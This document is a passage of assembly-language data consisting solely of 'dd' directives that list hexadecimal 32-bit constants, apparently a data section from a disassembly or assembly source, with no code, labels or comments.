dd 7562E1E2h, 0C0987E96h, 0CD547CB5h, 35766D75h, 0EDB6B962h
dd 0CF3622F4h, 0BC14B519h, 1391AD15h, 0D74C5F2Fh, 0B7E90CA1h
dd 93922F47h, 87EAF899h, 6152A4C5h, 7712072Ah, 0D6336144h
dd 0D6FF197Fh, 57B83CA5h, 96741ACFh, 124E31CFh, 9DE14612h
dd 4B6ABBE6h, 7DE15D97h, 0AD6C2986h, 0E41FA118h, 84C89847h
dd 229445B8h, 0ACF3C5CAh, 0EDBD774Ah, 99E96699h, 0AA02D163h
dd 0F3A16079h, 0FD7325E0h, 298FF2ABh, 0B0C3C889h, 39F1A809h
dd 86CB02E4h, 594F315h, 932D5DF3h, 30E02292h, 6EC74E5h
dd 28CB1227h, 0B6A2FFB5h, 0E2B4A214h, 15A348Ch, 7FA2053Dh
dd 0FE67F971h, 0A4EC9547h, 7BA21E55h, 0B7FF0B8h, 9CDDD574h
dd 956CBE7h, 6F786077h, 0B35BC6CDh, 2DEE2F6Ch, 1723AA2Eh
dd 63630559h, 0E220BF6h, 9CE8538Bh, 0F91F1DFAh, 0CC9A53B4h
dd 0CD2D06C3h, 67372F43h, 4D68F82Ch, 0E1322E5Dh, 2FC368FEh
dd 18F64CA5h, 0D7BEC71Ch, 1AD103E3h, 0F6B83C3Fh, 0DC1C360Ch
dd 58555409h, 866D2378h, 6EF78F99h, 0E6E1184Ch, 0C9DCAF5h
dd 9F4CE147h, 0A5CDE40h, 8534A639h, 79C126A3h, 424A5B3h
dd 94DD37A7h, 935B4369h, 0E694BD2Ah, 0F3B7DEDh, 6AFFDB67h
dd 694FCC1Bh, 3B01B653h, 8281389Bh, 8059DDDFh, 0F4F91FC1h
dd 6F53743Ch, 0A98658E0h, 0D372D852h, 0AA889535h, 17CC7F96h
dd 0AE93A374h, 0D45893E2h, 37D8D7C6h, 80D8DDACh, 0DB335446h
dd 0AB55A2B5h, 6673F54Eh, 9998C695h, 505CA5F8h, 5384D6BBh
dd 45558E1Ah, 60D92D55h, 6AA5FF6h, 0D59E8DAh, 911D7413h
dd 0C059FF68h, 8396469Eh, 624529E7h, 0BAB4C5F7h, 5B9AD210h
dd 7AB753D3h, 0D11E8670h, 1A933A20h, 70622A1Ah, 0A8321CC4h
dd 9FD6D330h, 76840AF7h, 8C151F94h, 0C73CB330h, 7D3939F3h
dd 0DA80620Ah, 0B7402C71h, 5BED4A27h, 874D34ACh, 7C3AA034h
dd 98FEFAFEh, 3CA96BF7h, 31565A87h, 902006C5h, 394F406Ch
dd 0EEC2B636h, 4EA3CC75h, 0E54F1BEAh, 23CABC76h, 0F25A7AA2h
dd 8B4C15E4h, 79A97A3h, 7A3AFAECh, 0EA3BAD78h, 0CA15E280h
dd 0FC69DAC2h, 0E72ED166h, 0C848034Dh, 61604DF2h, 73A0875Ah
dd 0D5012308h, 72E620ECh, 2483DF66h, 0FFAA120Bh, 6106EC1Fh
dd 0BBDFB6CAh, 5744EC00h, 89861214h, 0F5D61599h, 2BDAF127h
dd 37D0EBE3h, 0F6C70038h, 73AC46ECh, 0A5B6E9FEh, 0F4387DCDh
dd 2C1C1E58h, 90A0B1FFh, 0FB4BB2DDh, 0C3543C3Bh, 2C52CF73h
dd 2CC9A709h, 0A979F715h, 0A7795E7Ch, 99B0D714h, 0F3BA8CF2h
dd 0A7DC22E5h, 0D816794Fh, 1ADBA9F6h, 8D0BE72Bh, 58FCC2F9h
dd 7A42F538h, 0BE9E7B49h, 70AC3630h, 6EA9F084h, 0A5878B9Fh
dd 0FBE3A860h, 0CC1E3385h, 983EC7D8h, 0F8FE0CC5h, 1E92E0CBh
dd 0AE24E5E8h, 558623B1h, 9575A9CFh, 95E6F31Ch, 90A87082h
dd 0FE48B199h, 36BEE412h, 43AE3EB5h, 0A343BA2Ah, 0A3BF6A98h
dd 3BBB945Ch, 6150E5E7h, 0EDA6849h, 4D0FB736h, 0CFDED451h
dd 0CB05224Fh, 0B007BC4Fh, 0F416880Ah, 0CAB34896h, 0E53C13F2h
dd 3FAEC1FCh, 1C4F8A8Ch, 6015D45Ch, 50D1C126h, 4D875964h
dd 582B5EE9h, 90EEECE4h, 0E9D717C6h, 71C08E9Dh, 5081473h
dd 0FE5FBBF0h, 7E209C49h, 0A2E1DD14h, 60496464h, 0B880F627h
dd 0DDEF018Ch, 9E9549CAh, 6E185124h, 0B5525534h, 0E717B21Fh
dd 402C4773h, 0FA48CB7Dh, 7B7D62D5h, 73B90ACFh, 0B5384ADBh
dd 10010BB5h, 77321A3Dh, 0DEA58C60h, 347704B5h, 9DF70816h
dd 99EE7C31h, 0D2A275A8h, 98C4C0B9h, 3FACEE2Bh, 71BD1612h
dd 204E8EB4h, 0B614DDCEh, 0CE89213h, 582288DBh, 675FD47h
dd 17362EC3h, 0F81E7D16h, 0D2C9A0DEh, 7BC65B2Ah, 0C5863524h
dd 0AE3B06EDh, 2A0A72F2h, 0AF708CB1h, 6407CBFFh, 18786C37h
dd 2D951BF0h, 0CBC2CCF9h, 0B2C4179Ch, 95F9627Eh, 8911873Dh
dd 0B0EE37E1h, 5903F251h, 9A36F7F0h, 2BD9FB4Eh, 0AB540D59h
dd 0D0711CACh, 0FD7C5956h, 455F03C3h, 33306F3Ch, 197D0037h
dd 0EBCE9A1Eh, 8E8A6A91h, 0AF72294Ah, 152896DAh, 290E58A5h
dd 1ABE7964h, 0AE72D241h, 5FEB5025h, 0D7B089ADh, 0D233140Ch
dd 7075A1DCh, 0CBD46B3Fh, 0AFCCCE58h, 0E031C48Fh, 54230DBCh
dd 505CC144h, 3449737Ch, 83524230h, 0CA852AFCh, 94C6C29Dh
dd 0A7836680h, 0EB6F978Ah, 7D0CEB8Ch, 9BD0096Ch, 0BE65B58Bh
dd 0ECF81A16h, 167AFE29h, 13EC196Bh, 0C8EFF37Bh, 67F3B03Bh
dd 0CECBFDADh, 33585D0Ah, 0FDC656Dh, 66A378A2h, 14AF7E7Ch
dd 0C03F7509h, 76908B90h, 0E90E11D1h, 0D5982DB3h, 5D8430B7h
dd 0CFC35FEBh, 74384799h, 44386DF4h, 75A66C8Bh, 67F8598Bh
dd 47E49C9Ch, 0FAC81331h, 0A510EA11h, 4B50C894h, 0D4C599E8h
dd 2F50F979h, 0E3826ECDh, 52967C64h, 0B85C966Ch, 56049B0Ah
dd 4BFC89CDh, 0C3780BDCh, 0C3D43EF9h, 5E19F205h, 3DB89D6Eh
dd 54D5B643h, 5BD6C87Bh, 784C01B1h, 0FC8EA12Ah, 0AA3A1F62h
dd 7A2EC345h, 0CE286445h, 7C20C639h, 93E1DD2Bh, 648B6AD8h
dd 0DACC22E7h, 8936F88Ch, 95C66221h, 4DC9C921h, 0E0B2EF6Dh
dd 951348C2h, 7C4DED29h, 53CD6F7h, 0B082D09Dh, 3CE04C6Dh
dd 0F572E056h, 0D0244C3Dh, 7A4EFCD1h, 6EAF9EEBh, 0B853A3D8h
dd 285F46A4h, 74DB8AB2h, 880E7B90h, 171A3DF8h, 3E1AF6E9h
dd 20D8282Fh, 0F6E06E1Fh, 7585D6D7h, 67B0DF30h, 5A7B4298h
dd 0FF866783h, 69D07137h, 9F7634A7h, 81A6473Ah, 0E2D0D209h
dd 541AFE3Eh, 7DD61D6Ah, 0BEBA7089h, 0C76F7747h, 1CAD3BCBh
dd 38558E7Eh, 8DC227BDh, 0EA4DFD82h, 1D177898h, 2D535D56h
dd 266CED90h, 0E3CFC797h, 0F5847235h, 0DEA4016Dh, 0E7EA700Ch
dd 0CB72AC06h, 6B7ECEF0h, 0DC1C9ABh, 647300F1h, 4C6C5EDh
dd 0F33E3DA1h, 9644AFB7h, 2E3D8EF3h, 72D0AE0Bh, 426A1183h
dd 0A6BCDF3Eh, 3C889E91h, 0C9C7817Dh, 710E677Bh, 70172CEEh
dd 79D217F0h, 547753B0h, 9E887486h, 0D0F43C25h, 8462AA8h
dd 72236D21h, 0D6C629BDh, 0CDCB1788h, 0A0EB21F7h, 6AC6F985h
dd 64227A24h, 4AB36F51h, 61C50699h, 0C35B8C6Fh, 88975130h
dd 0F35D2EC6h, 0B9EA0D92h, 6FF91689h, 62C6E0D6h, 25C3F5A1h
dd 0E99BEA1Bh, 167F28A9h, 0C3E6A66h, 512D82D9h, 0D1FC4329h
dd 0B6AED683h, 0C26753DBh, 0D91602D2h, 0F9577C5Ch, 0FF9637B8h
dd 7D15A63Ah, 44F9BD3Bh, 4018AF00h, 72CE5383h, 13C1AE77h
dd 0EEE99711h, 0D613E214h, 0D667C41Bh, 0C299B92Bh, 91880C04h
dd 35C08527h, 0D9F88671h, 67D1BBB6h, 0AE1EDEC1h, 69A60B86h
dd 820A1716h, 6D7676FAh, 52F5AEDh, 14F1CDCCh, 46D65559h
dd 741B94B9h, 889701BDh, 0EB992A84h, 5A581476h, 9D28739Dh
dd 9FC2EB75h, 0FA4E0078h, 9C5D0720h, 900A60B0h, 0FFD22B06h
dd 5D0AAA50h, 5AF22EECh, 3811AAEFh, 1C3276A5h, 34815750h
dd 640758D0h, 7D492BF1h, 0FA6B2BCCh, 493BF223h, 0A1440011h
dd 0E52F6CAAh, 57ED1279h
dd 49CD767Ah, 0BA68BE4Dh, 98F4B605h, 5DCFACDAh, 0A3959122h
dd 0BAB1CD19h, 8F801324h, 3B036570h, 43F5352Ah, 223F9C40h
dd 0EB1A7182h, 0F7C4F807h, 6F6DD3F5h, 6FF884D2h, 7150AE40h
dd 0AFC692A5h, 0C7B6B934h, 248F7212h, 0A315AA0Ah, 790E7C53h
dd 6CE9D463h, 1C39F52h, 594FE350h, 0D2763382h, 334E4839h
dd 15085288h, 0D272FD1Bh, 60D177CBh, 0E77CA9E9h, 0AE8142FFh
dd 2D482808h, 38ACDC37h, 0E4D16759h, 37BA812Bh, 0B986E69Fh
dd 0BB8EB6B7h, 0DFD0F2DFh, 0E2D9634Ah, 1792562Bh, 3503D9Eh
dd 8835BE5Bh, 85AA1253h, 0C843AB75h, 0BFA0F814h, 0E8B1139h
dd 0C669FC96h, 4A0E68A4h, 2BF0CA3Eh, 853E15C8h, 0B43E45FEh
dd 0FCA919ECh, 0D47C15A0h, 0E3EBCCA5h, 9C8170E7h, 2860AF64h
dd 0EB8A9B3h, 6A55A6EAh, 195F05C1h, 92CACB40h, 91EC5C99h
dd 41F5CBA3h, 7AD41E5Bh, 68C29C9h, 0E0EBF578h, 0EB6B0ECh
dd 0B855B3E4h, 0F40CC9Bh, 0E10912E3h, 0DD0B77BCh, 7C9F74A2h
dd 0B36111BCh, 0DD726DBDh, 0D6221FEBh, 31C782B9h, 3E569B8h
dd 3E73E8A0h, 8E21A92Bh, 27329E75h, 90F1EDF7h, 0B6C3404Bh
dd 58C00EB2h, 0D4DA5929h, 32D29F5Bh, 33625C05h, 45B0D478h
dd 79FD626Fh, 17AD4C7h, 0D968330Fh, 0FD15F92h, 6132961Fh
dd 56CBAEBFh, 1B292E83h, 0D3BFC602h, 0F8900E27h, 97F1AB25h
dd 2B435EF6h, 0A6CBBD4Eh, 880C2290h, 68469E4Ch, 0AC342FDCh
dd 0C1E2DAB6h, 7705E11h, 1C1407A7h, 79F35AEDh, 884C7EAFh
dd 6D23F9A9h, 0CD85465Ch, 34BC9060h, 6DCCE23Fh, 9C94816Ah
dd 13246143h, 0CA501C07h, 79CF2212h, 8E5F49DBh, 85A58A44h
dd 2CE90879h, 0BA2330B1h, 0D5165EAAh, 5BE675F6h, 0C8825A51h
dd 5F4D9D61h, 0C0563F54h, 6FE5CFDEh, 70E6F53Fh, 4A31ACA3h
dd 12BEB276h, 0E1AADC13h, 67E9F153h, 812FAE11h, 70A817FFh
dd 0FF4D14E1h, 7DDB85F3h, 0E9F4928Dh, 9959D1D5h, 0ADF95985h
dd 350617BFh, 4DB566B9h, 0BBC7B178h, 0B80FBD2Dh, 35ED8D61h
dd 0BEC628F8h, 0AED80C49h, 63628B4Ah, 568B8580h, 0E48320AEh
dd 27BC9B9Fh, 6A37C392h, 8894C634h, 0E2E499D7h, 70B0B18h
dd 0A747F577h, 609BA18Ah, 20FD7C18h, 72436119h, 90FE1234h
dd 59895095h, 96A8565Bh, 76BEFC1Fh, 4540FE92h, 2559B42Fh
dd 35BED128h, 2BCB25D8h, 0E4896920h, 98F743F8h, 0AD74FA26h
dd 0FE343FE2h, 218FDEB9h, 332485F6h, 76A2B357h, 53BE5381h
dd 59A02CABh, 2648C824h, 9F4FE9B5h, 21E8527Dh, 15E4E51Ah
dd 0CE87EEEEh, 61B98F6Dh, 4F461ACFh, 50C81AB8h, 477628Ah
dd 2F7B248Fh, 0A1CCB690h, 9168412Bh, 85F164EAh, 0C957713Bh
dd 0FB9E7949h, 304121B0h, 1D21E3E6h, 0B512B738h, 898BDB4Ch
dd 0B7E9843Ch, 0D088B5A6h, 5D5705BAh, 9E1334B6h, 31BA1638h
dd 49DD499h, 62035FA5h, 8C75EF5Fh, 0A4157EFAh, 6449223Bh
dd 0EEB5BE47h, 0E75D4F73h, 33B37E34h, 0FEE67F60h, 6536A1C7h
dd 8CEA60AAh, 43141335h, 19D1E54Bh, 6FB28A6Ch, 8148432h
dd 0A43A8515h, 0F9AEC631h, 0CE1EA411h, 9D3C4B2Ch, 59B09CDh
dd 6C1AB8EBh, 0C18C8590h, 0E649FDD2h, 9CD95241h, 20E2AD94h
dd 0ABEA7D70h, 0CD73C8CCh, 0D337F6C1h, 9F27403Eh, 924A6998h
dd 4E272331h, 0B0083FDBh, 0E3C89E74h, 4CE64FD4h, 0C79721DCh
dd 11B2CEB6h, 0F9193E91h, 0CF5A5A47h, 9C5580E0h, 5D615810h
dd 54C313FCh, 0FF25370Ch, 4D1EBA16h, 570D0541h, 83E84605h
dd 8401AF9Ch, 6E5AACA4h, 0CFFF625h, 0D554AB06h, 0B4BD900Ah
dd 0D4F94DEh, 4C8CC6A9h, 479E9F87h, 9377ED63h, 0A50DC595h
dd 29DA0921h, 375F6A6Dh, 0F54BA20Fh, 4F7C413h, 0BEF74B79h
dd 1892235h, 975B2BCCh, 0D58D3CE7h, 0F7286FDh, 0F7157516h
dd 1AFCB39Ch, 0BD000ECEh, 1D868DACh, 97B4DA33h, 0FDC02772h
dd 2CFB2C46h, 3A4E852h, 1BB6DAF7h, 0CDF227F5h, 0D42F0E78h
dd 1B608E18h, 0BA20997h, 3787BBC6h, 0BF1125EDh, 2B3FF795h
dd 725DC451h, 31B79732h, 104D43h, 13011297h, 1BCB8E57h
dd 1E7DC02Ch, 0EC49D618h, 0F7A627FEh, 0EC24C5C8h, 1C1831E3h
dd 0A880A6FBh, 2F65DD69h, 0E318D2C1h, 0ED171E1h, 0B1333DB8h
dd 39E5FA96h, 2BB0CE4Bh, 6B19916Eh, 8CC23A9Fh, 0EE3C65E3h
dd 0BE52B5D8h, 0C1E0CF5h, 69378BD2h, 798F1458h, 11C56004h
dd 0FD0FFE81h, 0D437835h, 0FD058ADBh, 896E8A63h, 0A8B544C2h
dd 0A07F1F59h, 35B48B94h, 89F9523Fh, 0C2F15A37h, 55544246h
dd 0A80A8F9Ch, 5B2E211Fh, 2A3E789h, 0CFEE710Fh, 5BA84569h
dd 1DD24999h, 2DC01CD1h, 0C973A1CEh, 1BBE7BB9h, 6B7380Fh
dd 2D0B3999h, 420AA792h, 0B71A0963h, 0CA0C22B9h, 3D33A745h
dd 1BB7BC67h, 0A4974B6h, 7E3B87CBh, 471BE8ADh, 852077E3h
dd 11DF64Dh, 0C10EF80Ch, 164EEE33h, 4E474952h, 0D593DBDAh
dd 0DC9407ECh, 0C2A1AD02h, 8A26333Dh, 0BFDC0484h, 9213CE00h
dd 0EF1ECF14h, 0ABDFB073h, 844D9E47h, 2E225E0h, 200EEA8h
dd 7EF55089h, 31C50CE4h, 9FA17EA4h, 3796C2C7h, 2C115ACAh
dd 0CEAD160h, 204B4624h, 93457F97h, 67F68B4Bh, 0EF29E082h
dd 0A6F013FDh, 0FDAD6FE1h, 8AF9F342h, 2769405h, 0D1619458h
dd 34DA2552h, 542638E0h, 5503E7C9h, 6FB9A0E4h, 0CD13E9F2h
dd 2D12CB73h, 2AC51FFBh, 78771886h, 6768CF57h, 5F2318Dh
dd 667FFF6h, 0A56C5F13h, 90A7AC9Ah, 31BCE225h, 675FC713h
dd 612BC71h, 0AD377DACh, 0ECF56A6Fh, 161344CCh, 8E14735Fh
dd 0EE965A95h, 73EFDD64h, 46D8F74Ah, 0F6724A49h, 0FC94BE13h
dd 782AF386h, 4E8967C2h, 0AA660523h, 0B8134D46h, 0AD652883h
dd 0DFAB0E78h, 0AF7D49C3h, 79EDC956h, 0B2C911E3h, 9C71DDDEh
dd 0C811C4A7h, 145F2EB9h, 3870239Fh, 0FBFB6340h, 0E2AEB0B5h
dd 0E30C341Eh, 63832080h, 0F451435Bh, 0E2128B70h, 389156F7h
dd 55B573EAh, 3402BD40h, 6A30E776h, 627D6077h, 68FB1434h
dd 0A23D6B7Eh, 0EECD0EE1h, 0C6D4529Eh, 39156D20h, 64EF907Dh
dd 91234390h, 53A47905h, 0FD0F1323h, 0C81A61DEh, 1FECF944h
dd 2517FC08h, 902945DDh, 77830267h, 975393C3h, 0D7ED8558h
dd 13DF2EB7h, 8175407h, 0C01A5772h, 0D47FF683h, 304714AAh
dd 0F54CB556h, 89E64C41h, 69CA32B9h, 0E1234A02h, 53849365h
dd 55A22915h, 0AC03956Ch, 0B9DB0D58h, 9D44E91Bh, 2A78AEFCh
dd 0EDCEF129h, 0A83AF2DDh, 52EDFFBBh, 0C100591Bh, 3BC4C071h
dd 0A266CF21h, 2E350435h, 0FDDCAEDh, 0DDA521FDh, 97B8B562h
dd 0D52558EBh, 7D4E62B1h, 30D5A6CCh, 0AD7A9259h, 80CB2670h
dd 0A4177DF3h, 0AF3605Ch, 0F8EEFA3Fh, 0FAB14E2Ah, 30A7E0DDh
dd 6414736Dh, 0F2A3EA8Eh, 0D5612ADAh, 0C3D1C11Bh, 0CE0702BDh
dd 14648C6Ah, 9A1352F7h, 0E5E48BF6h, 5752E586h, 34EF9314h
dd 1ACBE71Dh, 0EE68DEEDh, 121428C2h, 4EAE961Bh, 0D199E860h
dd 3A742F51h, 0D4469A9h, 74858D2Ch, 0A4079139h, 0D31D284Dh
dd 3820CCDAh, 3A397C6Eh, 6045990Eh, 32FA0FCBh, 92F35C58h
dd 90B469BCh, 7C318C52h, 0E26BFD48h, 95399952h, 72D73CDh
dd 92BA4162h, 0DD615E12h, 0CBEDC8B9h, 0FEFBA9CFh, 3BFDE4AFh
dd 622C1E58h, 8F2A3A2Eh, 6177ACD0h, 6763D157h, 0D82F776Eh
dd 3E9675D7h, 40FDB88Eh, 2AA1997Fh, 1F3F0B3Fh, 18086284h
dd 323B15FDh, 0C5972CBDh, 0E054365Ah, 62AC6643h, 7501AAE6h
dd 97739DFAh, 0C2FAB99Bh
dd 0AC1E1988h, 6F0BEF99h, 3F5E8A61h, 0C2681F39h, 0BC5776D0h
dd 0B2313FF9h, 6ED9E1E4h, 7E734CFh, 5DEA36DCh, 0A6163E0Eh
dd 0F0DAC615h, 488B9444h, 150D899Dh, 0F07ED854h, 34A7EB88h
dd 0FC5AF0FAh, 0DC1E826Bh, 0A895E4C6h, 0DD0F27D8h, 95ED2A12h
dd 0DBEB5D9Fh, 0C774FC94h, 0C7EF3415h, 586AF80h, 0B91853B2h
dd 42EFE5C3h, 17003CC6h, 0ED07D397h, 6562E182h, 398C32A8h
dd 1EEEBA50h, 47E8C48Ah, 1FF21CA2h, 2B0A19C3h, 0FBD73E83h
dd 348C933h, 0C1844CC3h, 2E54C631h, 1CA906CEh, 48098923h
dd 0C26EF1A7h, 0C88FCA31h, 0B16E3378h, 0A80C23EDh, 90E7BFF5h
dd 84ADC0D1h, 936F13B6h, 0C294EA11h, 721BF8A9h, 0C6CF6D57h
dd 48B5F5FCh, 683D8EC4h, 0ADCF7A31h, 393EE7A2h, 42820DB6h
dd 36110035h, 0A05C4Ah, 0B21373D8h, 22445F6Eh, 0A0927144h
dd 3B5F704Dh, 7BA2C84Fh, 7818D066h, 0B70CA42Eh, 83125153h
dd 0B8BD9C3h, 7288476Dh, 0F39BD605h, 0D16BA5BDh, 0EABAC106h
dd 130C334Ch, 4C39630Bh, 0FDBAB1A6h, 3B16CF58h, 1E5A5A37h
dd 73F163F3h, 0AC221A30h, 272D7152h, 942AF130h, 55A98748h
dd 6E947332h, 184258B0h, 23F403Eh, 18D234DBh, 9AF8529Eh
dd 0D9DD7D12h, 76D44BA7h, 0A84DD16Fh, 29ACCC4Ch, 390FE18Bh
dd 5BD5F180h, 97200CF7h, 0B70ABB78h, 712F1640h, 47C3027h
dd 0EBFA90E5h, 0AD849EF7h, 0A00321A0h, 72A0E422h, 2DB9F0AAh
dd 9AC6ABBCh, 2C2DCE51h, 9EB22F7Bh, 703CE0C6h, 639A97D0h
dd 0FFBCA7BFh, 0F3624A02h, 4939135Dh, 6217D65Eh, 228CEFA2h
dd 3E5E7E28h, 30AE7841h, 0A89A967Dh, 5BAED6CEh, 0B091EA90h
dd 44EB4118h, 0BCB2A82Fh, 12AD5DF4h, 10E817B6h, 3BBB316Eh
dd 8A141329h, 80753342h, 0B0F3AD7Fh, 0FBE19687h, 1B31FC4Ah
dd 48CFC653h, 244BCB10h, 1B6ED90Eh, 59045908h, 0F76753AEh
dd 2E7B696Dh, 6E256343h, 0C225A6E7h, 2EBC2B24h, 91823BBh
dd 0CD62513Dh, 1205C1A8h, 0D296BDFh, 12BA4D4Bh, 19C5A9BFh
dd 0E68E6B0h, 91FFD92Ah, 12A613FEh, 0C9B49E8Eh, 48EB221Dh
dd 1B421E87h, 54E7305Ch, 66E85858h, 0BBBD7316h, 0ACEF0EC7h
dd 0E344CF8Bh, 74F2AFDAh, 0A33A919Eh, 97CABFBh, 0A3B9C1A3h
dd 9A08C6Fh, 0BAE38F3Dh, 22B9E464h, 0C7D81080h, 60E2AC92h
dd 0B096FBDBh, 19FBD794h, 0CFFB2120h, 0F55DF100h, 854590BAh
dd 421A3B7Eh, 3999E641h, 7ED4172Ch, 1BCCC4B1h, 8E653BFCh
dd 21DB0F6Ah, 6CC75EAFh, 0B3303C12h, 33FB4BF0h, 91C08DB8h
dd 77894498h, 5E6AA64Eh, 77572DFh, 0E53F1A52h, 13EA80B0h
dd 2297B563h, 64F18775h, 0AF05979Dh, 0FED5DE06h, 0A0CD92E5h
dd 2DDEDB1Bh, 0ADAA1901h, 91193D3Bh, 90665A1Eh, 0B1BC521Eh
dd 61886723h, 7EA4FFE0h, 23BCCCF0h, 0F1A933EBh, 49A55810h
dd 1E7C43E5h, 991AF79Bh, 0EE715386h, 0F2FC172Fh, 6CE4AB70h
dd 0BC639F54h, 8BD2237h, 0D51D8819h, 7EB2DE7Dh, 0A979CB68h
dd 8A221129h, 9176264Bh, 0EA2F4B2Ah, 9F398AD5h, 24F4012h
dd 5E7C288Eh, 0A62799AAh, 0CB6E2B47h, 0EA37E4EDh, 0AF27602Ch
dd 716C68D8h, 0F3F1D636h, 4E4117A8h, 0C613269Fh, 4DF9DA1Bh
dd 57F4F88Ch, 52EB6A2Ah, 45184511h, 5349C57Bh, 2F95A0Dh
dd 0B5913DFh, 0B79DCFBFh, 426F88E2h, 0DFD82F13h, 696D08F9h
dd 353AD405h, 429A3E57h, 325CFE3Ch, 0C278C009h, 0D4FCA439h
dd 653608CAh, 0D10425A9h, 666FD1AFh, 93A37E58h, 0BC211EF0h
dd 2CEB45C8h, 0C15EF761h, 75B06DDBh, 165159A3h, 10871749h
dd 7A72397Eh, 0A8CE88F4h, 0D3639162h, 0D9492FF7h, 993B5E95h
dd 378662Ch, 3E6A364Bh, 6E749ED5h, 2C53F50Dh, 0ED85BCAh
dd 0F91F61A7h, 0C9BF0BF7h, 78BC260Eh, 0DD202612h, 0A953875Ah
dd 0CEE7C0E8h, 3EA2D7E8h, 292BF483h, 25B5883Eh, 535E1DF3h
dd 365DCDC0h, 9444FAFh, 261CA938h, 0D50100B7h, 44DBFC51h
dd 0C2F52673h, 0D8873156h, 1900BA0Dh, 0EED599BDh, 14BF259Dh
dd 0BB1558C7h, 0A6411A91h, 31EFE596h, 872CC431h, 6A1B372Fh
dd 0CC781530h, 0B0A86D50h, 45F95C09h, 0FDF3B049h, 46531989h
dd 7227B122h, 0F1C156D0h, 1BD93FD0h, 0DAE4BC06h, 499466CFh
dd 805C78FAh, 6EB80723h, 256F9B1Fh, 59A5825Ch, 2D01491Fh
dd 23734A5Ch, 9D215DCEh, 0BF3A4BD0h, 83DE1238h, 2EE5214Ch
dd 2F0E1025h, 0FADCA0AEh, 40E87A6Fh, 0F72D69F1h, 1638BBE6h
dd 5D27A8h, 5DC4BB2Ch, 53610BA6h, 0DC60DA8Fh, 0B83C53B8h
dd 9E15C818h, 267BFD65h, 6119496Bh, 0BFA42D92h, 12581212h
dd 8D20A48Eh, 3B84C001h, 30C6C0D5h, 0F51B9FF7h, 559BCF08h
dd 4657CBBCh, 89D28AADh, 6395FF2Ah, 7AEAB8B3h, 0ACFA99FEh
dd 0D0FB87CBh, 73FE32FFh, 2CD6D7D8h, 2C99D063h, 9B497D22h
dd 4BE60BCAh, 306B04D9h, 53A00625h, 54A0A1E1h, 7C6A6EB8h
dd 0CC4D0EB1h, 3CADEB31h, 4C487388h, 0DDAB8A5Bh, 9DCA9A45h
dd 0C2B9E615h, 0D521DF78h, 7C9D4143h, 71957038h, 3868AF8Ch
dd 0C197497Dh, 0B8718940h, 4DDD83ADh, 0A591A2BBh, 8822B417h
dd 6F769106h, 0FD433A1Dh, 22C48D74h, 50A6DFB6h, 0E7EF5E03h
dd 0C42405B5h, 0C5D05448h, 730FB6Fh, 0AB4B2CE4h, 0C816A622h
dd 9C2DE74Eh, 0A49DF46Ch, 2908A33Fh, 3AC05E6h, 68459003h
dd 9F00CA99h, 430575F9h, 2EDEF72Ah, 0BDEE2CB6h, 6E6254A9h
dd 8AAAE037h, 0CB7418F4h, 0C5ED1B14h, 34029B92h, 0F24E8AC6h
dd 0AA0FA78Ah, 965E128Dh, 0D3BC7CDh, 0C7180F4Bh, 4047C3F0h
dd 0C861861Fh, 91922B41h, 30BC6025h, 5A92BF35h, 0C5334709h
dd 0AE69276Ch, 0A0CABFC1h, 0F92B129Bh, 8711FE96h, 227D2919h
dd 0CE2236h, 4408712Bh, 0BA0028A7h, 0DE136A0Bh, 323281E1h
dd 42F0576Dh, 77A293ABh, 30B89D76h, 214A2AE2h, 11B3FEF1h
dd 0E292439Dh, 5B55A474h, 1D4882DAh, 9463081h, 0C4F3693Ah
dd 5FFEDC98h, 0B35429E9h, 0CCB6F2BEh, 57DAE576h, 0E7DB99F0h
dd 9346C6E7h, 0AE1E82B7h, 0CFD5FAF4h, 0C4F3EE6Ch, 469A6FBAh
dd 0FBE72A7Dh, 894EF770h, 0D8FC6885h, 0B7C4C33Eh, 42EB4277h
dd 929F1078h, 46316C8Dh, 0D4D31D6Fh, 7482F2D0h, 8085BDC5h
dd 7DB0C32Ch, 8E67A578h, 0A8DC065h, 2E3CCF57h, 5A2EA097h
dd 3BC2A82Ah, 1A31F37Bh, 0A89900E3h, 5DB638FBh, 5098670Bh
dd 6581F498h, 92F0136Eh, 35007177h, 66077E8Ch, 1BED969h
dd 50C40815h, 556E0CD9h, 62FC2223h, 0FDAB4D6Ah, 698999CAh
dd 0E9467530h, 906E87Dh, 82795D7Fh, 524459A5h, 56DADCB2h
dd 941B3BD3h, 0CF0EA2F5h, 1628A3FCh, 35DFCADFh, 0AA88040Eh
dd 491AE14Ch, 16394C6Fh, 0E5635DAEh, 0EFD4EC7Bh, 53AE005Bh
dd 87276D46h, 0E6DD4F01h, 0F6B0A72Dh, 0ADB1976Bh, 5F149946h
dd 0F856546Ch, 0CA718E32h, 58DF7DAAh, 749B854Ah, 0BBABB47Eh
dd 14591F6Bh, 0DE082725h, 868B9B5Bh, 940991DEh, 0F39D4EB2h
dd 5D108D4Bh, 9D622589h, 0A05BAA8Ah, 0EFFC8CA0h, 0C26B3F03h
dd 8CDD089Bh, 0C544B8EBh, 0F050653Ch, 3CAD7A00h, 0A16A9FF5h
dd 0E9D5F0D1h, 2D28C60Bh, 0AF9094B8h, 0E31B457Eh, 402FC37Ah
dd 82603059h, 0CBACF977h, 78061FD1h, 1A4AF603h, 0E78C8C29h
dd 0E8DCA882h, 79A675DFh, 0C5195978h, 0B3AA657Ah, 0EC9C228Bh
dd 556F56D2h, 3978F6F3h, 47E5F144h, 29B1C910h, 0B4AD99B0h
dd 40307D01h, 87302C5Fh, 57D3385Bh, 0CBD61761h, 958805h
dd 0C807E970h, 3E6E82AAh
dd 0FE43B5EEh, 0C6A562B0h, 0C2A9F541h, 6ED239E8h, 24F0EDF6h
dd 66B19D08h, 85359286h, 0D79432B3h, 7712DADh, 0F51001EFh
dd 0EB7D5901h, 0DCBEBD1Ch, 681BA9B9h, 61DCFD23h, 0ED2669FCh
dd 0ED942A6Bh, 7856D1EBh, 0FFA035E8h, 75BF1A2Dh, 0BCC833AFh
dd 60F555D7h, 838BF5C6h, 0B79426FFh, 0E3FC923h, 278C8085h
dd 0B1EF912Dh, 7B0BD17Eh, 7DCD81D3h, 0CE7DDFBEh, 770006A9h
dd 0EFBA11AAh, 6B405AA5h, 99083CE0h, 6F3C30F3h, 7103805Fh
dd 0A8EEA0F3h, 7CECB7B0h, 89C6D9F7h, 0BA4C47D9h, 0A5979B15h
dd 1B9466B3h, 6B34B59Bh, 70AA049Dh, 8F9AD7A1h, 0C9CC1607h
dd 0E4EF868Bh, 4C04E9F6h, 0C1E3B4F0h, 68F4A289h, 0CE31BEB2h
dd 0D8D3EFE0h, 58B30692h, 0B74CFD9Fh, 51326BADh, 9E9C9C73h
